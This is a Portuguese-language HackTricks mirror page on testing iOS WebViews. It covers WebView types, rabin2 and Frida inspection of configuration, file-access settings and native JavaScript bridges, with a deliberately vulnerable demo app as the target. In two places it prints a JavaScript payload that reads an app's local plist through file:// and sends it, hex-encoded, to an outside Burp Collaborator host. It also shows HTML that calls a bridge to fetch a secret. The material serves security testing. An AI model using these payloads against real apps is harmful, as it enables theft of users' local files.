mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
387 lines
24 KiB
Markdown
387 lines
24 KiB
Markdown
# iOS WebViews
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Tipos de WebViews
|
|
|
|
WebViews são componentes de navegador dentro de aplicativos para exibir **conteúdo web** interativo. Eles podem ser usados para incorporar conteúdo web diretamente na interface do usuário de um aplicativo. iOS WebViews **suportam** execução de **JavaScript** **por padrão**, então injeção de scripts e ataques de Cross-Site Scripting podem afetá-los.
|
|
|
|
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebView está obsoleto a partir do iOS 12 e não deve ser usado. **JavaScript não pode ser desativado**.
|
|
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): Esta é a escolha apropriada para estender a funcionalidade do aplicativo, controlando o conteúdo exibido.
|
|
* **JavaScript** está habilitado por padrão, mas graças à propriedade **`javaScriptEnabled`** do `WKWebView`, ele **pode ser completamente desativado**, prevenindo todos os defeitos de injeção de scripts.
|
|
* A propriedade **`JavaScriptCanOpenWindowsAutomatically`** pode ser usada para **prevenir** que JavaScript **abra novas janelas**, como pop-ups.
|
|
* A propriedade **`hasOnlySecureContent`** pode ser usada para verificar se os recursos carregados pelo WebView são obtidos através de conexões criptografadas.
|
|
* `WKWebView` implementa renderização fora do processo, então **bugs de corrupção de memória não afetarão** o processo principal do aplicativo.
|
|
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** Deve ser usado para fornecer uma **experiência de visualização web generalizada**. Esses WebViews podem ser facilmente identificados pois têm um layout característico que inclui os seguintes elementos:
|
|
|
|
* Um campo de endereço somente leitura com um indicador de segurança.
|
|
* Um botão de Ação ("**Compartilhar**").
|
|
* Um **botão Concluído**, botões de navegação para voltar e avançar, e um botão "Safari" para abrir a página diretamente no Safari.
|
|
|
|
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
|
|
|
|
* **JavaScript não pode ser desativado** no `SFSafariViewController` e esta é uma das razões pelas quais o uso de `WKWebView` é recomendado quando o objetivo é estender a interface do usuário do aplicativo.
|
|
* `SFSafariViewController` também **compartilha cookies** e outros dados de sites com o **Safari**.
|
|
* A atividade e interação do usuário com um `SFSafariViewController` **não são visíveis para o aplicativo**, que não pode acessar dados de AutoFill, histórico de navegação ou dados de sites.
|
|
* De acordo com as Diretrizes de Revisão da App Store, `SFSafariViewController`s **não podem ser ocultados ou obscurecidos por outras visualizações ou camadas**.
|
|
|
|
## Descobrindo Configurações de WebViews
|
|
|
|
### Análise Estática
|
|
|
|
**UIWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
|
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
|
|
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
|
|
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
|
|
```
|
|
**WKWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
|
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
|
|
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
|
|
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
|
|
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
|
|
```
|
|
Alternativamente, você também pode procurar por métodos conhecidos dessas classes WebView. Por exemplo, procure pelo método usado para inicializar um WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)):
|
|
```bash
|
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
|
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
|
|
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
|
|
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
|
|
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
|
|
```
|
|
#### Testando Configuração de JavaScript
|
|
|
|
Para `WKWebView`s, como uma melhor prática, JavaScript deve ser desativado a menos que seja explicitamente necessário. Para verificar se o JavaScript foi desativado corretamente, procure no projeto por usos de `WKPreferences` e garanta que a propriedade [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) esteja configurada como `false`:
|
|
```
|
|
let webPreferences = WKPreferences()
|
|
webPreferences.javaScriptEnabled = false
|
|
```
|
|
Se você tiver apenas o binário compilado, pode procurar isto nele:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
|
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
|
|
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
|
|
```
|
|
#### Testando OnlySecureContent
|
|
|
|
Em contraste com `UIWebView`s, ao usar `WKWebView`s é possível detectar [conteúdo misto](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (conteúdo HTTP carregado de uma página HTTPS). Utilizando o método [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) pode-se verificar se todos os recursos na página foram carregados através de conexões seguras e criptografadas.\
|
|
No binário compilado:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
|
```
|
|
Você também pode procurar no código-fonte ou nas strings a string "http://". No entanto, isso não significa necessariamente que há um problema de conteúdo misto. Saiba mais sobre conteúdo misto nos [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
|
|
|
|
### Análise Dinâmica
|
|
|
|
É possível inspecionar o heap via `ObjC.choose()` para encontrar instâncias dos diferentes tipos de WebViews e também procurar pelas propriedades `javaScriptEnabled` e `hasonlysecurecontent`:
|
|
|
|
{% code title="webviews_inspector.js" %}
|
|
```javascript
|
|
ObjC.choose(ObjC.classes['UIWebView'], {
|
|
onMatch: function (ui) {
|
|
console.log('onMatch: ', ui);
|
|
console.log('URL: ', ui.request().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for UIWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
|
onMatch: function (sf) {
|
|
console.log('onMatch: ', sf);
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for SFSafariViewController!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
}
|
|
});
|
|
```
|
|
Carregue-o com:
|
|
```bash
|
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|
|
|
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
|
|
|
|
hasOnlySecureContent: false
|
|
```
|
|
## Manipulação de Protocolo WebView
|
|
|
|
Vários esquemas padrão estão disponíveis e são interpretados em um WebView no iOS, por exemplo:
|
|
|
|
* http(s)://
|
|
* file://
|
|
* tel://
|
|
|
|
WebViews podem carregar conteúdo remoto de um endpoint, mas também podem carregar conteúdo local do diretório de dados do aplicativo. Se o conteúdo local for carregado, o usuário não deve ser capaz de influenciar o nome do arquivo ou o caminho usado para carregar o arquivo, e os usuários não devem ser capazes de editar o arquivo carregado.
|
|
|
|
### Carregamento de conteúdo WebView
|
|
|
|
* **UIWebView**: Pode usar métodos obsoletos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) para carregar conteúdo.
|
|
* **WKWebView**: Pode usar os métodos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) para carregar arquivos HTML locais e `loadRequest:` para conteúdo web. Tipicamente, os arquivos locais são carregados em combinação com métodos que incluem, entre outros: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) ou [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). Além disso, você também deve verificar se o aplicativo está usando o método [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Seu primeiro parâmetro é `URL` e contém a URL a ser carregada no WebView, seu segundo parâmetro `allowingReadAccessToURL` pode conter um único arquivo ou um diretório. Se contiver um único arquivo, esse arquivo estará disponível para o WebView. No entanto, se contiver um diretório, todos os arquivos nesse **diretório estarão disponíveis para o WebView**. Portanto, vale a pena inspecionar isso e, caso seja um diretório, verificar que nenhum dado sensível possa ser encontrado dentro dele.
|
|
|
|
Se você tem o código-fonte, pode procurar por esses métodos. Tendo o **binário** **compilado**, você também pode procurar por esses métodos:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
|
```
|
|
### Acesso a Arquivos
|
|
|
|
* **UIWebView:**
|
|
* O esquema `file://` está sempre ativado.
|
|
* O acesso a arquivos a partir de URLs `file://` está sempre ativado.
|
|
* O acesso universal a partir de URLs `file://` está sempre ativado.
|
|
* Se você recuperar a origem efetiva de um `UIWebView` onde `baseURL` também está definido como `nil`, você verá que **não está definido como "null"**, em vez disso, você obterá algo semelhante ao seguinte: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d780`. Esta origem "applewebdata://" é semelhante à origem "file://" pois **não implementa a Política de Mesma Origem** e permite acesso a arquivos locais e quaisquer recursos da web.
|
|
|
|
{% tabs %}
|
|
{% tab title="exfiltrate_file" %}
|
|
```javascript
|
|
String.prototype.hexEncode = function(){
|
|
var hex, i;
|
|
var result = "";
|
|
for (i=0; i<this.length; i++) {
|
|
hex = this.charCodeAt(i).toString(16);
|
|
result += ("000"+hex).slice(-4);
|
|
}
|
|
return result
|
|
}
|
|
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
var xhr2 = new XMLHttpRequest();
|
|
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
|
xhr2.send(null);
|
|
}
|
|
}
|
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
|
xhr.send(null);
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
* **WKWebView**:
|
|
* **`allowFileAccessFromFileURLs`** (`WKPreferences`, `falso` por padrão): permite que o JavaScript executando no contexto de uma URL com esquema `file://` acesse conteúdo de outras URLs com esquema `file://`.
|
|
* **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, `falso` por padrão): permite que o JavaScript executando no contexto de uma URL com esquema `file://` acesse conteúdo de qualquer origem.
|
|
|
|
Você pode procurar por essas funções no código-fonte do aplicativo ou no binário compilado.\
|
|
Além disso, você pode usar o seguinte script frida para encontrar essa informação:
|
|
```bash
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
|
console.log('allowFileAccessFromFileURLs: ',
|
|
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
console.log('allowUniversalAccessFromFileURLs: ',
|
|
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
```
|
|
|
|
```bash
|
|
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|
|
|
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
|
|
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
|
|
Library/WKWebView/scenario1.html
|
|
javaScriptEnabled: true
|
|
allowFileAccessFromFileURLs: 0
|
|
hasOnlySecureContent: false
|
|
allowUniversalAccessFromFileURLs: 0
|
|
```
|
|
#### Exfiltrar arquivos arbitrários
|
|
```javascript
|
|
//For some reason this payload doesn't work!!
|
|
//Let me know if you know how to exfiltrate local files from a WKWebView
|
|
String.prototype.hexEncode = function(){
|
|
var hex, i;
|
|
var result = "";
|
|
for (i=0; i<this.length; i++) {
|
|
hex = this.charCodeAt(i).toString(16);
|
|
result += ("000"+hex).slice(-4);
|
|
}
|
|
return result
|
|
}
|
|
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
var xhr2 = new XMLHttpRequest();
|
|
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
|
xhr2.send(null);
|
|
}
|
|
}
|
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
|
xhr.send(null);
|
|
```
|
|
## Métodos Nativos Expostos Através de WebViews
|
|
|
|
Desde o iOS 7, a Apple introduziu APIs que permitem **comunicação entre o runtime do JavaScript no WebView e os objetos nativos** Swift ou Objective-C.
|
|
|
|
Existem duas maneiras fundamentais de como o código nativo e o JavaScript podem se comunicar:
|
|
|
|
* **JSContext**: Quando um bloco Objective-C ou Swift é atribuído a um identificador em um `JSContext`, o JavaScriptCore automaticamente envolve o bloco em uma função JavaScript.
|
|
* **Protocolo JSExport**: Propriedades, métodos de instância e métodos de classe declarados em um protocolo herdado de `JSExport` são mapeados para objetos JavaScript que estão disponíveis para todo o código JavaScript. Modificações de objetos que estão no ambiente JavaScript são refletidas no ambiente nativo.
|
|
|
|
Note que **apenas membros de classe definidos no protocolo `JSExport`** são acessíveis ao código JavaScript.\
|
|
Fique atento ao código que mapeia objetos nativos para o `JSContext` associado a um WebView e analise que funcionalidades ele expõe, por exemplo, nenhum dado sensível deve ser acessível e exposto a WebViews.\
|
|
Em Objective-C, o `JSContext` associado a um `UIWebView` é obtido da seguinte forma:
|
|
```objectivec
|
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
|
```
|
|
O código JavaScript em um **`WKWebView` ainda pode enviar mensagens de volta para o aplicativo nativo, mas, ao contrário do `UIWebView`, não é possível referenciar diretamente o `JSContext`** de um `WKWebView`. Em vez disso, a comunicação é implementada usando um sistema de mensagens e utilizando a função `postMessage`, que automaticamente serializa objetos JavaScript em objetos nativos Objective-C ou Swift. Os manipuladores de mensagens são configurados usando o método [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add).
|
|
|
|
### Habilitando JavascriptBridge
|
|
```swift
|
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
|
options_dict["javaScriptBridge"]?.value = enabled
|
|
let userContentController = wkWebViewConfiguration.userContentController
|
|
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
|
|
|
if enabled {
|
|
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
|
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
|
}
|
|
}
|
|
```
|
|
### Enviando Mensagem
|
|
|
|
Adicionar um manipulador de mensagens de script com o nome `"name"` (ou `"javaScriptBridge"` no exemplo acima) faz com que a função JavaScript `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` seja definida em todos os frames em todas as web views que usam o controlador de conteúdo do usuário. Pode então [ser usado a partir do arquivo HTML assim](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33):
|
|
```javascript
|
|
function invokeNativeOperation() {
|
|
value1 = document.getElementById("value1").value
|
|
value2 = document.getElementById("value2").value
|
|
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
|
}
|
|
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
|
|
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
|
|
|
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
|
```
|
|
Uma vez que a função Nativa é executada, ela geralmente irá **executar algum JavaScript dentro da página web** (veja `evaluateJavascript` abaixo), você pode estar interessado em **substituir a função** que será executada para **roubar o resultado**.\
|
|
Por exemplo, no script abaixo, a função **`javascriptBridgeCallBack`** será executada com 2 parâmetros (a função chamada e o **resultado**). Se você controla o HTML que será carregado, você pode criar um **alerta com o resultado** como:
|
|
```markup
|
|
<html>
|
|
<script>
|
|
document.location = "javascriptbridge://getSecret"
|
|
function javascriptBridgeCallBack(name, result) {
|
|
alert(result);
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
### Função Chamada
|
|
|
|
A função chamada reside em [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29):
|
|
```swift
|
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
|
|
|
//...
|
|
|
|
case "multiplyNumbers":
|
|
|
|
let arg1 = Double(messageArray[1])!
|
|
let arg2 = Double(messageArray[2])!
|
|
result = String(arg1 * arg2)
|
|
//...
|
|
|
|
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
|
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|
```
|
|
### Testando
|
|
|
|
Para testar o envio de uma postMessage dentro de um aplicativo, você pode:
|
|
|
|
* Alterar a resposta do servidor (MitM)
|
|
* Realizar uma instrumentação dinâmica e injetar o payload JavaScript usando frameworks como Frida e as respectivas funções de avaliação JavaScript disponíveis para os iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) para `UIWebView` e [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) para `WKWebView`).
|
|
|
|
## Depurando iOS WebViews
|
|
|
|
(Tutorial de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
|
|
|
Nos webviews do iOS, mensagens enviadas para `console.log()` _não_ são impressas nos logs do Xcode. Ainda é relativamente fácil depurar conteúdo web com as ferramentas de desenvolvedor do Safari, embora existam algumas limitações:
|
|
|
|
* A depuração de webviews do iOS requer Safari, então seu computador de desenvolvimento deve estar executando macOS.
|
|
* Você só pode depurar webviews em aplicativos carregados em seu dispositivo através do Xcode. Não é possível depurar webviews em apps instalados pela App Store ou Apple Configurator.
|
|
|
|
Com essas limitações em mente, aqui estão os passos para depurar remotamente um webview no iOS:
|
|
|
|
* Primeiro, habilite o Safari Web Inspector no seu dispositivo iOS abrindo o aplicativo _Configurações_ do iOS, navegando até **Configurações > Safari > Avançado**, e ativando a opção _Web Inspector_.
|
|
|
|
![Configurações do Safari no iOS](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
|
|
|
|
* Em seguida, você também deve habilitar as ferramentas de desenvolvedor no Safari em seu computador de desenvolvimento. Inicie o Safari em sua máquina de desenvolvimento e navegue até **Safari > Preferências** na barra de menus. No painel de preferências que aparece, clique na aba _Avançado_ e depois habilite a opção _Mostrar menu Desenvolvedor_ na parte inferior. Depois disso, você pode fechar o painel de preferências.
|
|
|
|
![Configurações do Safari no Mac](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
|
|
|
|
* Conecte seu dispositivo iOS ao seu computador de desenvolvimento e inicie seu aplicativo.
|
|
* No Safari em seu computador de desenvolvimento, clique em _Desenvolvedor_ na barra de menus e passe o mouse sobre a opção dropdown que é o nome do seu dispositivo iOS para mostrar uma lista de instâncias de webview em execução no seu dispositivo iOS.
|
|
|
|
![Menu de desenvolvedor do Safari no Mac](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
|
|
|
|
* Clique na opção dropdown para o webview que você deseja depurar. Isso abrirá uma nova janela do Safari Web Inspector para inspecionar o webview.
|
|
|
|
![Janela do Safari Web Inspector](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
|
|
|
|
## Referências
|
|
|
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
|
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
|
|
|
</details>
|